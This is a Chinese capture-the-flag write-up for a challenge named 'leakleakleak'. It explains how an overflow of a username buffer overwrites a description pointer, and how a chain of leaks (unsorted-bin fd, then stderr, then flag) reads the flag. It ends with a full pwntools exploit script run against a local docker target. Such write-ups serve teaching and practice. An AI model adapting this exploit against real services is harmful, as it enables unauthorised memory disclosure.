image1

题目分析

竟然给了源码0.0,直接开看!!!

flag以全局变量存在bss段中

image

checksec一下果然开了PIE…….

image

继续看源码,建立了一个结构体,并将成员分别输出

image

结构体如下

typedef struct {
    char username[32];
    char *description;
} User;

漏洞点在于第一个read语句,对username的读入会覆盖掉description,可以打开pwndbg看结构体在内存上的分布

image

username占0x20,却可以读入0x28个字节,将0x55555555c5f0(description)给覆盖,之后在将description给输出时,有一个任意内存泄露

想到这,我们就可以通过泄露的方式将flag给读出

漏洞利用

由于开了PIE,低三位是不变的,先看看flag的地址

image

第三位是0X0C0,由于没有内存直接指向flag,先看看周围的内存空间,发现flag上面有std_err

image

一般libc中都会有内存指向std_err,所以在libc中搜索一下,果然发现了

image

由于libc中偏移是固定的,所以现在只需要泄露个libc地址就ok了,在堆附近可以看到有一个unsorted bin,泄露出它的fd就行了

image

image

总结,我们的leak路线就是unsorted_bin.fd—–> stderr——–>flag

泄露FD上的libc是1/16的几率爆破

由于远程偏移不一样,我们开一个docker容器将里面的libc和ld给拿出来

sudo docker run -p 5000:5000 --privileged $(sudo docker build -q .)

之后就是让人崩溃的偏移调试。。。。最终偏移是通过泄露出了附近的地址手动确定的

exp

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug',timeout=0.5)
binary_path = './leakleakleak'
libc_path = './libc.so.6'

elf = ELF(binary_path)
#leak_addr = lambda name,addr: log.success(f'{name}----->'+hex(addr))
#main_arena_offset = libc.symbols["__malloc_hook"] + 0x10

def debug():
    gdb.attach(p)
    pause()

#"0x7fe8c7a74848"
while(True):
    try:
        p = remote("127.0.0.1", 5000) 
        p.recvuntil(b'What is your name? ')
        payload = b'a'*32+b'\x10\xa7'
        #debug()
        p.send(payload)
        p.recvuntil(b'Let me tell you something about yourself! :3\n')
        addr = u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))
        log.success("libc--->" + hex(addr))
        std_err = addr - 0xe38
        p.recvuntil(b'Continue? (Y/n) ')
        p.sendline(b'Y')
        #second
        p.recvuntil(b'What is your name? ')
        payload = b'a'*32+p64(std_err)
        p.send(payload)
        p.recvuntil(b'Let me tell you something about yourself! :3\n')
        flag_addr = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00')) + 0x20
        log.success("flag_addr--->"+hex(flag_addr))
        p.recvuntil(b'Continue? (Y/n) ')
        p.sendline(b'Y')
        #third
        log.success("libc--->" + hex(addr))
        log.success("stderr-->" + hex(std_err))
        log.success("flag_addr--->"+hex(flag_addr))
        p.recvuntil(b'What is your name? ')
        p.send(payload)
        payload = b'a'*32+p64(flag_addr)
        p.send(payload)
        p.interactive()
    except:
        p.close()